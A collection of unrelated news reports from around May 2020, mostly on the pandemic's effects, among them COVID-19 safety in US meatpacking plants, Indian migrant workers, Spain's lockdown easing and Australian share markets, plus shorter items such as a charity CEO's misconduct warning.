warehouses and monitoring for a period of 6 months. She said earnings from the rice sale shall be liquidated by PITC and no longer by the NFA. Pangilinan however insisted that the role of the DA and NFA is crucial in handling government imports. "PTIC is not in the business of selling rice. Dahil kulang ang expertise niyan, sa inyo mag-re-rely yan at syempre kay Secretary DAR. This is the first time we're doing this as far as I can remember. Dapat liwanagin ang terms of engagement ng PITC, ng DA, ng NFA. Otherwise baka kung saan-saan mapunta itong malaking halaga," he said. "New normal na rin ito for NFA in terms of interventions. I hope we are several steps ahead, at hindi mauwi dun sa papalo sa singkwenta, sisenta piso ang presyo ng bigas dahil sa kakulangan," he added. With the curfews and other quarantine limitations, Pangilinan said production output is reduced with restricted milling operations that normally extend over the curfew hours now imposed. Dar assured the senator that his department is putting up a monitoring system to ensure that this will not happen.
It's been three weeks since President Donald Trump's executive order to keep meat plants running in the pandemic and the government began preparing fresh guidance on how to keep their employees safe. Infections are still on the rise as workers say they're being forced to put themselves in harm's way in the name of food security.

Based on 13 interviews with employees, labor representatives and a U.S. government inspector at meat plants in states including Arkansas, Virginia, Nebraska, North Carolina and Texas, employees are still standing elbow-to-elbow along production lines. There are some plastic barriers, but employees haven't been spaced out in parts of the plants. People with symptoms are still coming in for shifts, afraid of losing income if they call in sick. Protective gear in some cases is of low quality -- thin masks are breaking. With not enough distance between people, the combination could be ripe for the spread of disease.

Companies have taken measures such as increasing hand-washing stations, distributing face shields, doing temperature checks and staggering breaks. But experts warn that in the end, nothing can make up for a lack of physical distance. And some are starting to question whether it's even possible to run these plants safely during the pandemic, given the nature of how production is handled.

"They're still working shoulder to shoulder, and these partitions are not even proven to prevent the spread of the virus," said Magaly Licolli, executive director at Springdale, Arkansas-based Venceremos, an organization focused on human rights of poultry workers. Companies have "basically refused to restructure workstations, since that would decrease production. But that's what they need to do to prevent an outbreak."

Some of America's largest meat suppliers, JBS, Tyson Foods, Smithfield Foods and Cargill, reopened plants recently, working to increase meat output after closures sparked some shortages and higher prices. That means maintaining high speeds on processing lines -- something that makes physical distancing nearly impossible. Even protocols developed jointly by the U.S. Centers for Disease Control and Prevention and the Occupational Safety and Health Administration seem to acknowledge this. The guidance recommends reconfiguring work spaces to allow for 6 feet of distancing "if feasible," but sets no hard rules.

More than a dozen major meatpacking facilities reopened in May after Trump's order. Since then, the coronavirus has continued to spread at almost twice the national rate in counties that are home to these types of plants. In the two months since infections started among meat workers, at least 30 have died and more than 10,000 have been infected, according to the United Food & Commercial Workers International Union. Virus rates among workers have topped 50% at some plants.

The outbreaks have exposed vulnerabilities in the meat supply chain -- and the human cost of keeping Americans fed amid a pandemic. Restaurants including Wendy's Co. have reported meat shortages. But wholesale beef and pork prices, which had doubled since early April, are starting to ease as plants reopen.

Meat-industry advocates have said that high infection rates are partly due to aggressive testing of their workers.

The North American Meat Institute, the trade association that represents processors, says "that companies are constantly looking for and implementing new ways to protect workers under the careful oversight of state and local authorities" including the U.S. Department of Agriculture, the CDC and OSHA.

"The safety of the men and women who work in their facilities is the first priority for the meat and poultry industry," Sarah Little, a spokeswoman for the group, said by email.

Still, Trump's order sparked outrage from union leaders and worker advocates who argue that maintaining and ramping up production in spite of the outbreaks will lead to more illness.

"Many aren't coming to work -- they're sick or afraid. And if they do go in, they have to work faster" to make up for absenteeism since line speeds haven't slowed, Licolli said.

Interviews with employees from JBS, Tyson, Smithfield and Cargill, along with labor leaders, show that social distancing is difficult to maintain -- both on production lines and in other areas. Even when traffic is directed, it can still get crowded. Some plant workers said colleagues have come into work coughing, sneezing and, in a few cases, vomiting.

"We are doing everything we can to keep this virus out of our facilities," JBS USA said in an emailed statement. "That said, our plants were not designed to stop the spread of a virus. Throughout this process, we have had to fundamentally alter the way we do business because of Covid-19."

JBS said it doesn't want "sick team members coming to work," and that "no one is punished for being absent for health reasons." If an employee "is fearful of coming to work they can call the company and inform us, and they will receive unpaid leave without any consequence to their employment," the company said.

Some of the line speeds at JBS have slowed because members of vulnerable populations are being asked to stay home, with pay. Employees are required to wear a mask on company property, everyone is given a face shield and the company said it has hired hundreds of people for a team that oversee its efforts to keep employees healthy.

Cargill said it is "consulting health experts and implementing new protocols as they are identified" to protect employees.

"Standards are evolving as this virus progresses, and we are continuously learning about new ways to protect employees," the company said in an emailed statement. "We are proactively putting into place the latest available safety protocols appropriate for the contexts in which we operate. We care deeply about our co-workers and the communities where we live and work."

"We take seriously our responsibility to feed the world," Cargill said.

Smithfield said it has taken "aggressive measures to protect the health and safety of our employees during this pandemic."

On its website, Smithfield lists safeguards taken including boosting use of protective gear to include masks and face shields, making free voluntary Covid-19 testing available to employees, explicitly instructing employees not to report to work if they are sick or exhibiting symptoms and increasing social distancing, wherever possible.

Tyson said it has implemented a range of social distancing measures, including installing physical barriers between workstations and in break rooms, providing more breakroom space, erecting outdoor tents where possible for additional space for breaks, among other steps.

"We only want people to come to work if they're healthy," Tyson said in an emailed statement. "Our top priority is the health and safety of our team members, their families and our communities."

The company said it's addressing line speed on a case-by-case basis, and has slowed lines in some locations based on labor availability and to allow for social distancing. It's also staggering start times to avoid large gatherings and has designated social-distance monitors stationed throughout each facility. Tyson said the measures being taken are based on guidance from CDC, OSHA and local health officials.

Many employees acknowledge that companies are making some improvements, but they point to line speeds as part of the underlying problem for distancing.

There are a lot of areas where workers are complaining they're "right on top of each other," said Kim Cordova, president of United Food & Commercial Workers Local 7 union, which represents workers at a JBS USA plant in Greeley, Colorado.

Data from the USDA on slaughterhouse production underscore the rapid increase in output in the past few weeks. As of May 18, government estimates for daily hog slaughter rose 6.2% from a week earlier, and the cattle kill was up 9.3%. Capacity is back to about 80% of normal, after falling to roughly 60% to 70% last month.

To allow for proper social distancing, production should be running at a much lower rate, possibly just one third of normal, according to Sanchoy Das, a professor at the New Jersey Institute of Technology, where his research focuses primarily on supply chain modeling and analysis.

Instead of slowing things down, some companies have been adding weekend shifts to further boost production.

"Usually we don't work Saturdays until the middle of August. Right now, because of coronavirus, we will work from now up until the end of February 2021" to meet rising demand, said Dennis Medbourn, a union steward at the Tyson pork plant in Logansport, Indiana, where he's worked for 12 years.

Tyson said it has "historically worked Saturday shifts through April and May at the Logansport facility," adding "this isn't a new initiative."

The national UFCW union has also pointed to a lack of rapid testing as part of the challenges facing producers.

And there are issues with protective gear.

In some places, plastic sheeting is used to create barriers between workers. That ends up creating a capsule where cleaning chemicals become trapped next to people's faces, making it difficult to breathe, according to Licolli of Venceremos.

Joe Enriquez Henry, president of the League of United Latin American Citizens in Iowa, said the combination of fast line speeds while wearing protective gear also creates breathing problems, likening it to jogging while wearing full head gear.

Face shields become impractical because of the nature of the job: Inevitably, blood splatters on shields -- forcing employees to then wipe them off in order to see properly, potentially exposing them to whatever particles had gathered.

"These plants are what I would describe as wet plants, for the people who work there, there's fluid flying everywhere," said Das of the New Jersey Institute of Technology. "Everybody is wet, the floor is wet, so it is a conducive environment for disease transmission."

In the early days of the pandemic, there was little information about how workers should defend themselves against the virus. The CDC didn't issue guidance for "critical infrastructure" workers, including food industry staff, until April 3. There was pandemic guidance on file from OSHA, written in 2009 as a result of the H1N1 influenza pandemic, but it wasn't widely distributed this time around. OSHA and the CDC didn't issue covid-19 specific guidance for meat and poultry workers until late April, after more than a dozen industry employees had died from the virus. The guidance was last reviewed May 12, according to the CDC website.

Even now, unions say federal guidelines aren't strong enough. The language is full of phrases like "if possible" and "if feasible," allowing for plenty of wiggle room.

"These recommendations, they have no enforceable piece to them and that's the real challenge," said Jake Bailey, packing house and food processing director for UFCW 1473 in Milwaukee.

The "USDA works with plant owners to keep them operating safely in accordance with CDC and OSHA guidance. State and local health departments are heavily involved," the CDC said in an emailed statement to Bloomberg.

"It's important to remember that CDC is a non-regulatory agency, and its recommendations are discretionary and not mandated," the agency said. "However, guidance and recommendations issued by CDC are often used by other agencies responsible for developing and enforcing workplace safety and health regulations."

OSHA said its guidance "allows for flexibility in responding to the rapidly changing conditions and understanding of the virus," while adding it's important that employers "seek to adhere to this guidance."

The agency said it has "a number of enforcement tools that apply to protect these workers," including standards on protective gear and sanitation. It is working with its federal partners to continue monitoring the situation at meat plants and will make changes as needed to its standards and requirements, OSHA said in an emailed statement.

The USDA said it has directed meat and poultry processing plants to operate in accordance with the CDC/OSHA guidance. Facilities should "utilize the recommendations highlighted in the guidance document, recognizing that how they are implemented may differ given the unique circumstances of establishments and processing facilities nationwide," the agency said in an emailed statement.

"USDA will continue to work with our federal partners and state, local, and tribal officials to meet resource needs to keep food and agriculture employees safe and maintain the continuity of food supply chain operations."

Bailey of the Milwaukee group has toured many of the 20 food and meat processing plants the union represents in recent weeks. It's not all bad news, he points out. In some facilities, things have changed "drastically" -- there is duct tape on the ground telling people where to stand as they get their temperature taken, and every 5 to 15 feet there's a sanitizing station. Workers have been moved apart, but there are a few places where the distance has actually reached the recommended 6-foot threshold, he said, adding that that's where companies are trying to put barriers in place.

"Physical distancing is the number one way we currently know to prevent transmission," said Celeste Monforton, a lecturer in public health at Texas State University. "You can put out as much hand sanitizer as you want, as many checkpoints for temperatures, all of those things are complementary, but extremely limited in terms of preventing transmission of disease compared to physical distancing."
A man has been extradited to the US in connection with rhino horn trading.

He was surrendered to the Marshall Service at Dublin airport this morning on foot of an arrest warrant.
Source: Xinhua| 2020-05-23 02:06:01|Editor: huaxia

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ADEN, Yemen, May 22 (Xinhua) -- Yemen's health authorities on Friday recorded 12 new COVID-19 infections, bringing the total confirmed cases in the the government-controlled provinces of the war-ravaged Arab country to 205.

According to a brief statement released by the country's supreme national emergency, during the past 24 hours, 12 new coronavirus cases were officially recorded, raising the total number in the country's provinces controlled by the government to 205.

Meanwhile, the death toll from coronavirus climbed to 33 in different areas of the government-controlled provinces, including the southern port city of Aden.

So far, the pro-government health authorities recorded only six recoveries of all the infected patients since the outbreak of coronavirus on April 10.

Elsewhere in Yemen, health authorities in the Yemeni Houthi rebel-held capital Sanaa on May 16 declared two new COVID-19 cases in the areas under their control, taking the total number of infections in northern Yemen to four, including one death.

The Yemeni authorities have taken several measures to contain the outbreak of COVID-19, including imposing a partial overnight curfew in Aden and other major cities.

The pro-government Yemeni authorities called on donors and relevant international humanitarian organizations to provide urgent support to help contain the pandemic.

Yemen has been mired in a civil war since late 2014, when the Iran-backed Houthi group seized control of much of the country's north and forced the internationally-recognized government of President Abd-Rabbu Mansour Hadi out of Sanaa. Enditem
Big Win Over Coal Mining for Endangered Species For almost a quarter-century a legal loophole has let Big Coal operate with little responsibility for the harm its activities cause to endangered species. For the past 10 years, we've been fighting to hold coal-mining companies accountable  and we just won the battle.



In response to a lawsuit by the Center and allies, the Office of Surface Mining Reclamation and Enforcement agreed to meet with the U.S. Fish and Wildlife Service by Oct. 16 to review coal mining's nationwide impacts on endangered species and ensure it's not risking their survival.



This legal victory rips up a blank check held by the coal-mining industry to pollute and destroy habitat for rare wildlife. And it may help secure new protections for species ranging from endangered crayfish in West Virginia to the Colorado pikeminnow.



Thank you for standing by us during long struggles like these. With your support, we win.



Get more from Morehead State Public Radio.
The chief executive of a charity linked to Prince Harry has been issued with a final warning over his behaviour while 'under the influence of alcohol', it has been reported.

Richard Sharp, 37, who served more than eight years as a royal marine before becoming CEO of Team Rubicon in 2017, has left the charity in hot water after he was handed a written warning over his 'verbally abusive' behaviour' at a five-day event in the U.S last year.

The chief was allegedly 'under the influence of alcohol' when he became aggressive with volunteers at the leadership event, an internal inquiry seen by The Times reported.

The international organisation, which was founded in 2010 by U.S Marines William McNulty and Jacob Wood, is a disaster response charity which uses the skills and expertise of military veterans to help victims in disaster zones across the world.

Chief executive of Team Rubicon Richard Sharp, 37, was handed a written warning over his 'verbally abusive' behaviour' at a five-day event in the U.S last year

Witnesses at the camp claimed that the CEO directed insults such as 'ungrateful pr**k' and 'snowflake' towards a female volunteer and said 'are you telling me I can't say c***' when he was later questioned over his behaviour.

Mr Sharp, who reportedly earns more than 90,000 per year, also allegedly engaged in wrestling during the event at YMCA's Estes Park in Colorado.

During the inquiry, a panel heard that members of Team Rubicon USA had ordered 'thousands and thousands' of beers using the charity's finances.

Following the allegations, Mr Sharp this week admitted to staff that he had been 'very, very drunk' and had 'dropped the C-bomb and expletives', in a video message.

According to The Times he said: 'My behaviour was unacceptable and [was] a learning moment for me'.

The CEO also refuted two claims of sexual harassment- allegations which the internal inquiry also rejected.

The allegations have now left the charity, which sees its volunteers help hundreds of people across the globe and mobilises veterans in order to each isolated communities, in crisis.

According to Team Rubicon's website, prior to joining the charity Mr Sharp began his career as a semi-professional rugby player.

The CEO of the charity was given a warning following a five-day event at YMCA's Estes Park in Colorado last year

Prince Harry helped volunteers at Team Rubicon following his official tour in Nepal in 2016

He has also worked with the investment banking company Deutsche Bank and the charity Help for Heroes.

The event last year has now been reported to the Charity Commission and the claims have also been lodged in a New York court.

The charity's chairman General Sir Nick Parker is monitoring Mr Sharp.

A spokesman for Team Rubicon UK said: 'The incident was fully investigated over several months through an independent enquiry, conducted by three Trustees, including a high-profile barrister, who exonerated Richard of the sexual harassment allegations that were made.

'The full report was submitted to the Charities Commission, who were also satisfied with the findings. Team Rubicon UK takes safeguarding very seriously and has robust reporting and investigating procedures, including the training of staff and volunteers on safeguarding protocol.

'With regard to the additional content published today, Richard fully acknowledges, and has openly expressed his deep regret for his behaviour at the event and he has communicated this candidly and transparently to staff and volunteers.

'At the time of the investigation, Chair of the Board Nick Parker received an unsolicited letter of support for Richard signed by all female members of staff.

'Richard is currently working closely with Nick Parker, and is hugely grateful for the continued support and dedication of all Team Rubicon UKs staff and volunteers over this difficult time.

'Richard has the full confidence of the Board and will continue to lead TRs projects in the UK, providing vital supplies and support to the NHS and communities who are currently fighting COVID.'

Following his official tour in Nepal in 2016, Prince Harry remained in the south Asian country to work with Team Rubicon UK on an earthquake relief project.

During his time in Nepal, the royal helped the charity with the reconstruction of a new school which was destroyed by the 7.8 magnitude earthquake in 2015

During his time with the organisation, the royal helped volunteers with the reconstruction of a new school which was destroyed by a 7.8 magnitude earthquake in April 2015.

Speaking at the UK Embassy at the end his official tour in Nepal, Prince Harry said at the time: 'The people I have met and the beauty of this country make it very hard to leave.

'Thankfully however, I'm not leaving just yet! I will be spending the next six days in a remote region with a charity called Team Rubicon. The team I'm joining will be working with the community to rebuild a school damaged in the earthquake.

'I'm so grateful to have this opportunity at the end of my official tour to do my small bit to help.'
If you thought Elon Musk's Twitter world was bizarre enough, think again.

Because believe it or a not, a beauty store worker in San Jose, who has never "heard" of Tesla and SpaceX CEO Elon Musk, has now started receiving phone calls and text messages meant for Musk.

Why? Because US telecom major AT&T randomly reassigned Musk's old number to Lyndsay Tucker, a 25-year-old skincare consultant, who had to assure her bosses that she does not work for Musk or any of his firms, reported NPR.

"I asked my mom, 'Hey, I keep getting these text messages' - and I was also now starting to get phone calls - 'for this guy Elon Musk. I don't know who this is. And my mom's jaw just dropped," said Tucker who works at a Sephora beauty store in San Jose, California.

The daily added that on any given day, Tucker receives at least three calls or texts intended for Musk, whom she has never met.

Musk had the most Musk response when NPR reportedly reached out to him to inform about the bizarre incident. "Wow! That number is so old! I'm surprised it's still out there somewhere".

A South African businessman asked Tucker about buying 1,000 trucks while the Internal Revenue Service (IRS) called about a complicated tax issue.

"I assumed I had messed something up. It was a huge relief they weren't looking for me," Tucker was quoted as saying.

Even former Walt Disney executive John Lasseter texted her about the Tesla he bought, calling it a "magnificent car".

"I actually ended up going to the same college as his (Lasseter) son," Tucker said.

When one guy decided to text "Musk" directly to find out "how I can purchase that ATV you showed off during the CyberTruck reveal", Tucker politely responded that she wasn't Musk and had nothing to do with the Tesla chief.

(With IANS inputs)
Hundreds of Trinidad and Tobago nationals stuck on cruise ships are begging to return home.

There are currently 395 nationals on board two vessels  the Disney Cruise Line ship with 49 nationals and the Royal Caribbeans Vision of the Seas with 394 nationals.
Madrid will be entering Phase 1 of the deescalation plan on Monday after requesting the move three times.

The Spanish Health Ministry on Friday reported 56 overnight deaths from coronavirus, a figure that also takes into account fatalities in the last two days in Catalonia, which did not report its data on Thursday due to a validation problem.

There were 446 new infections detected with the more reliable PCR lab tests over the period, said the ministry. The total official death tally in Spain now stands at 28,628, with confirmed cases reaching 234,824. Spain has been recording fewer than 100 daily deaths for several days in a row, after reaching a peak in early April.

On Friday the Health Ministry announced which parts of Spain get to move to a new phase in the countrys gradual deescalation plan. The Madrid region is entering Phase 1 after its application was rejected twice. The Barcelona metropolitan area and the region of Castilla y Leon are also transitioning to Phase 1, while 47% of Spaniards will move to Phase 2.

Also on Friday, the Cabinet held an extraordinary meeting to approve the fifth extension to the state of alarm, after Prime Minister Pedro Sanchez of the Socialist Party (PSOE) secured congressional approval for it on Wednesday. The emergency powers will remain in place until June 7, although Sanchez wants to request one last two-week extension after that, to coincide with the end of the deescalation process.

Bildu row

Mertxe Aizpuru, a lawmaker for Bildu in Spanish Congress, at the Wednesday debate to extend the state of alarm. Ballesteros (EL PAIS)

The Cabinet meeting took place amid mounting controversy over a deal that the government struck with a Basque radical party named EH Bildu, in exchange for its abstention at the vote to extend the state of alarm. The wording of the deal, which was unveiled only after Congress had approved the renewed emergency powers, said the government would repeal a 2012 labor reform  which, among other measures, made sacking employees cheaper for firms  in its entirety.

The reaction by political parties, employer associations and other groups has led the Socialist Party to partially rectify and produce a new statement with vaguer wording. But its junior coalition partner Unidas Podemos continues to stand by the original deal, underscoring the tension between both governing partners.

The Popular Party (PP) wants Sanchez to appear before Congress to explain the deal with Bildu, a radical left coalition that has courted controversy in the past for failing to condemn the violent campaign waged by Basque terrorist group ETA, which has now disbanded. The PP has called on the PSOE to break that agreement out of dignity.

Protests

Finance Minister Maria Jesus Montero and Health Minister Salvador Illa. Moncloa

Finance Minister Maria Jesus Montero on Friday addressed allegations by right-of-center parties that the state of alarm is an excuse for the government to cling to its emergency powers and curtail citizens freedoms. Several street protests have been taking place in Madrid and in other parts of Spain in recent weeks, and the far-right party Vox has called demonstrations from vehicles for Saturday, which have been authorized by government officials.

This fact, said Montero, shows that this is a country with the rule of law, where the only thing that the state of alarm is restricting is freedom of movement and association.

Montero added that protests are not a problem as long as social-distancing rules are observed. The only freedom that does not exist, she said, is the freedom to infect others.

Small towns

On Friday, the Official State Gazette (BOE) published a ministerial order easing the confinement measures in municipalities with fewer than 10,000 residents. Regardless of which phase of the deescalation plan they are in, time slots for walks and exercising are being eliminated; more than one adult may go out with children, and indoor dining at restaurants will be allowed, as long as capacity limits are observed.

English version by Susana Urra.
The Ministry of Human Resources and Social Security (MHRSS) of China has released 10 new professions as part of the country's efforts to inject new impetus into the sustainable development of the digital economy.

Xiao Qinren, a student of Xihua University, promotes the sale of tangerine on livestream platform at a plantation in Zhaojia Town of Jintang County in Chengdu, southwest China's Sichuan Province, April 25, 2020. (Xinhua/Li Mengxin)

Among some of the 10 new professions, a few include Internet marketer, also known as the anchor of e-commerce platforms, online learning service provider and blockchain engineering technician.

As the COVID-19 epidemic works as a catalyst for the growth of new businesses, the introduction of new professions aims to keep pace with the development of the digital economy.

More than half of the 10 professions released are related to Internet technology, reflecting the growing vitality of China's Internet economy.

The birth of new professions is inseparable from the emergence of new business types. As more than 1.5 billion students around the world cannot attend school due to the epidemic, "online learning service providers" have played an important role in providing students with assistance in learning.

Meanwhile, Internet marketers have become beneficial in promoting the sales of products in physical stores, while blockchain engineers and technicians act as bridges amid the high growth of infrastructure.

The release of new professions help promote the gradual improvement of the training and evaluation system, and reserve talents for the development of new businesses. For talents themselves, the official recognition of the new professions is also conducive to strengthening their inner identity and career planning.
The Healthcare Heroes Scholarship offers a new incentive for students considering pursuing a career in the healthcare field. The Allied Health program offers an opportunity for students of all levels, from diploma to bachelor's, to gain experience and skillsets for a variety of roles including administrative, clinical and management.

"This pandemic has further emphasized the importance of our frontline healthcare workers and the essential role they play in our community," said Florida Technical College President, Dr. James Michael Burkett. "FTC has created this scholarship to encourage members of our community who may have been on the fence in deciding to pursue a healthcare career, and hopefully, in light of the current situation, motivate them to make a difference."

The Allied Health program is offered throughout the state of Florida at the Orlando, Kissimmee, Lakeland, Deland, Cutler Bay and Pembroke Pines campuses. The program offers a variety of different levels including diplomas for Medical Assistant Technicians and Medical Billing and Coding Specialists, an Associate's for a Medical Billing and Coding Specialist and a Bachelor's in Allied Health Management.

With over 2.5 million confirmed cases of the virus worldwide and over 27,000 in the state of Florida, now more than ever we recognize the importance of our frontline workers. The medical industry was already facing a global shortage in medical professionals, and the pandemic has simply brought light to that situation. FTC students interested in the Allied Health programs are encouraged to apply for the scholarship to assist with alleviating any financial concern in participating.

To qualify for the Healthcare Heroes Scholarship applicants must meet the following criteria:

Be enrolled in one of FTC's Allied Health Programs with a start date of June 1, 2020

Must remain continuously enrolled in that Diploma, Associate, or Bachelor's degree program until completion

Maintain a satisfactory academic progress

Be current on all financial obligations to FTC

To request more information, please visit: http://www.ftccolleges.com/HealthCareHeroes-scholarship.php. All completed applications must be submitted to the Financial Aid Department prior to the start of the program. The awardees will receive up to $7200 for bachelor degree programs, up to $3600 for associate degree programs, and up to $1800 for diploma programs. The scholarship funds will be in the form of a retroactive disbursement of $600 per term up to the maximum amount awarded, not to exceed the amount of tuition and fees that was to be financed by debt and charged to the student for the applicable program, after first applying any other financial assistance.

About Florida Technical College: Founded in 1982 to provide private, post-secondary education in specialized fields, Florida Technical College is an academic unit of National University College (NUC), which is accredited by the Middle States Commission on Higher Education (MSCHE), 3624 Market Street, Philadelphia, PA 19104 (267) 284-5000. MSCHE is a regional accrediting agency recognized by the U.S. Secretary of Education and the Council for Higher Education Accreditation. FTC offers associate and bachelor's degrees and diploma programs in a range of professions, including healthcare, construction trades, computer networking, culinary arts, and cosmetology. FTC campuses are located in Orlando, Kissimmee, Lakeland, Tampa, DeLand, Pembroke Pines, and Cutler Bay. Program availability varies by campus. For graduation rates, median debt of students who completed the program, and other important information, please visit www.ftccollege.edu/disclosures.html.

Contact:

Maria Isabel Sanquirico

[email protected]

(813)-420-2922

SOURCE Florida Technical College

Related Links

http://www.ftccolleges.com


The Indian Railways has operated more than 1,600 Shramik Special trains to carry over 21.5 lakh migrant workers home since the nationwide coronavirus lockdown. Yet, this endeavour seems like a drop in the ocean when compared to the scale of the crisis

The Indian Railways has operated more than 1,600 Shramik Special trains to carry over 21.5 lakh migrant workers home since the nationwide coronavirus lockdown. Yet, this endeavour seems like a drop in the ocean when compared to the scale of the crisis: India has over 120 million migrant labourers.

It is no surprise, then, that homecoming has been thwarted for a vast number of Indias most vulnerable. Their families and loved ones are distraught. They wait listlessly, running from pillar to post and jumping through bureaucratic hoops.

Ujyari, speaking through tears, said, My son is away and he is unable to come home. Im worried as hes unwell, and theres nothing I can do... There are no means for him to come back, so how can he?

Pyarelal, a farmer in Mahoba, added, My son has been away for about three months. We have been trying to call him, but he cant come back. He said, Koi saadhan hi nahi chal raha hai (there is no means of public transport available). He has a lot of troubles there, issues with rent, food and water. Asked why his son chose to leave home, Pyarelal explained, Im just a farmer, and we had to earn our livelihood. So there was no choice, but leave the village.

Pyarelal's son is just one of the countless migrant labourers who left home in order to look for a higher paying job. Such migrant labourers comprise around 20 percent of Indias workforce. However, this crisis has demonstrated the precariousness of their position in society.

Over two-thirds of them have lost their jobs and are now stranded in cities with no food, water, or roof above their heads. In some cases, state governments are actively hampering their efforts to get home, holding them hostage for when the lockdown eases and business as usual can resume.

However, faced with the threatening prospect of contracting the virus in Indias densely packed urban areas and the looming spectre of starvation, migrant labourers are hoping to head back home to weather the storm alongside their loved ones.

But given the rampant miscommunication and inadequate measures that accompany government efforts to take them home, several migrant labourers are left with no choice but to become aatmanirbhar.

Mahboob Shaikh is a mechanic making the long road trip from Mumbai to Lucknow: We were not getting any food or water there [in Mumbai]. So we were compelled to leave. We had to help each other, and so we banded together and left. After a month and twenty days of lockdown, we had enough. There was no work, no room or rent, we were kicked out. Phir koi khaane ka thikaana nahi tha, toh hum road par aa gaye (we couldn't count on there being food, and we ended up on the street). Then we found the people in charge of this truck who stay near us, and they said they were going to Uttar Pradesh. So we asked them to drop us off.

Migrant labourers have increasingly been taking matters into their own hands, even opting to make the journey home on foot, braving the scorching summer, hunger, tiredness, police brutality, and the distance.

News of migrant labourers dying en route, either due to their terrible conditions or because of horrific accidents such as the Auraiya and Aurangabad mishaps, has made headlines.

Mahboob and his band of around 100 labourers are derisive about government efforts to take them home: They never clear your paperwork. First they say, get your medical test done, then do this, then that. We filled out more than three forms. Someone says do this, someone else says, fill out a police report, then file it.

Mahboob and his companions are not the only ones caught up in the laborious bureaucratic apparatus of the State. Reports reveal that while transporting migrant labourers home has become a bone of contention between different state governments and the Centre, on-ground implementation of welfare and ration schemes like MNREGA, which are designed to provide for the most vulnerable, has been woefully inadequate.

We spoke to some women in the village whose husbands were away, jobless and stuck in Delhi and Mumbai. One bought rations on the basis of her job card, but because not all of her children had been added to her household, she couldnt what she needed to feed everyone.

Another was told that her ration card had been cut from the list and couldnt afford to buy what she needed on the basis of her job card. The lekhpal, Sushil Kumar Sharma, was harried: We are making a report of names that are not on the list today, he told us. They will be added at the district level as soon as possible.

Further, the provisions and funds promised in the whopping Rs 20 lakh crore government bailout for the crumbling Indian economy are yet to find their way to the poor.

Kuresha, Yasmin and Champa were standing in line, having exhausted their options and their food reserves. They had set off from Hadaha village, over eight kilometres away, at 6 am, in order to reach the Public Distribution System by 9 am.

Theyd heard they would get free grain and Rs 500, perhaps referring to the announced installments in womens Pradhan Mantri Jan-Dhan Yojna accounts. Yasmin said she had a ration card, but hadnt got her quota for the past two months. Some of her family hadnt been able to get Aadhaar numbers.

They are saying your name has been removed, she said. Weve tried to get Aadhaar, but they dont get made. Meanwhile, Champa was told she would not get the ration because she was not on the active MNREGA rolls.

The systematic hollowing-out and undermining of such welfare schemes has led to a collapse of our distribution mechanisms. In times of crisis, we simply do not know how to reach those who need aid the most. And if on the off-chance that the people seeking help manage to reach the authorities, they are bamboozled by the never-ending paperwork and deflection of their queries.

Jamuna Kushvaha puts it thus: ...we went to the SP, but we couldnt even understand their requirements... they don't listen to us, and don't offer us any help.

Jamuna reminds us what he is fighting for: If they [about his family] have trouble with getting food or whatever, theyre worried, then even we lose sleep worrying about them. Unki chinta mein, hum log bhi bahut pareshan hai. If your children dont get food, then of course a father will worry. His fears are not unfounded. The Mehta family in Banda had their worst fears realised when they got news that their son Manoj, a worker in Gujarat, committed suicide because of his abject circumstances.

Gauri, his mother stated, He didnt have any food or water, nothing was arranged for him. Manoj is far from the only one who has done so; Odisha, Gujarat, Kerala, and Haryana have reported cases of migrant workers taking their own lives when stranded in cities minus support networks that provide them with food and shelter.

While various states are already planning to reopen their economies, it is at the cost of their workforce. Several states, including Uttar Pradesh, Rajasthan, and Gujarat, have relaxed their labour laws in preparation for the resumption of production.

However, states must prepare themselves for an acute labour shortage, given that lakhs of migrant labourers have made it home and have no intention of returning to the cities, and to the state,that failed them.
The Australian share market finished higher for a fourth straight week, but only after limping into the close amid heightened tensions between Washington and Beijing.

The index heavyweights again kept the market down as the benchmark ASX 200 finished the day 53.4 points, or 0.96 per cent, lower at 5497.0.

All sectors bled red and the losses accelerated throughout the session. Just two of the top 27 companies - and none of the top 10 - finished higher.

Energy was the worst affected sector and lost a collective 2.24 per cent. Oil futures hit the skids after China failed to set an economic growth target for 2020 at the start of its week-long National People's Congress.

The big miners were also down, even after the promise of increased fiscal spending by China, and supply concerns over COVID-affected Brazil, boosted iron ore prices.

Rio Tinto finished 2 per cent lower at $91.30 and BHP lost 0.55 per cent to $34.32. Fortescue Metals edged 0.15 per cent lower to $13.58.

The banking giants also fell, with Commonwealth Bank, NAB, ANZ and Westpac each dropping between 0.59 per cent and 1.16 per cent.

The health sector badly underperformed as CSL plunged 2.36 per cent to $290.93, the firms lowest price since March 31.

A dour turn for oil futures and US futures snuffed out any chance the local market would stage a late comeback.

Analysts nominated geopolitical volatility and a tit-for-tat trade brawl as the main culprit for melting away optimism that fuelled a rise on Monday to Wednesday.

Markets jumped early in the week on positive signs a COVID-19 vaccine could be in the works, though investors were quick to realise the limited scope of Modernas trials.

Europe rose on positive news France and Germany could be coming to a reconciliation over a European recovery fund, though but global sentiment reversed when superpowers throw their weight around.

This included moves by Beijing to impose a new security law on Hong Kong, adding pressure to its already strained ties with the US.

Australia also found itself in the middle of a trade furore when China slapped new rules on iron ore inspections and reports, and reportedly told power stations told to avoid Australian coal.

The moves come as Australia continues to advocate for an inquiry into Chinas handling of the coronavirus pandemic.

Whats happened over the course of the week is that hopes have been dashed on what people thought was going to happen, executive director of JP Morgan Asset Management Kerry Craig said.

Were seeing this familiar old risk of geopolitics and trade which has been dominating the narrative over the past couple of days.

Despite back to back sessions in the red, the ASX had enough of a runup to rise for a fourth straight week, adding 1.7 per cent.

The index has now climbed for eight of the past nine weeks since it hit a nadir on March 23.

CMC Markets chief strategist Michael McCarthy noted the ASX had again failed in the 5600 to 5550 zone.

The (recent) rally has been at complete odds with the economic damage we are seeing here and around the globe, Mr McCarthy said.

So this failure (to break through 5600) again gives me some heart that this period of exuberant optimism is starting to fade.
FILE PHOTO: The GM logo is pictured near the General Motors Assembly Plant in Ramos Arizpe

By David Shepardson

(Reuters) - General Motors Co <GM.N> is delaying the resumption of second shifts at truck assembly plants in Michigan, Indiana and Mexico because of a lack of parts from Mexico, a person briefed on the matter said.

The Detroit automaker, which resumed production on Monday after suspending operations in March because of the coronavirus pandemic, will launch a second shift next week only at its Lansing Delta Township plant. It will not immediately begin, as it had hoped, second shifts on Monday at its Ft Wayne, Indiana, Flint and Silao, Mexico plants that build full-size trucks, but could resume a second shift as early as later next week, the source said.

GM spokesman Dan Flores said "demand for our full size picks has been very strong so we are certainly exploring ways to add production and will do that when it makes sense."

Mexican auto parts production is only this week beginning to slowly resume. GM's decision to delay resuming some production shifts shows the challenges of resuming production with thousands of suppliers.

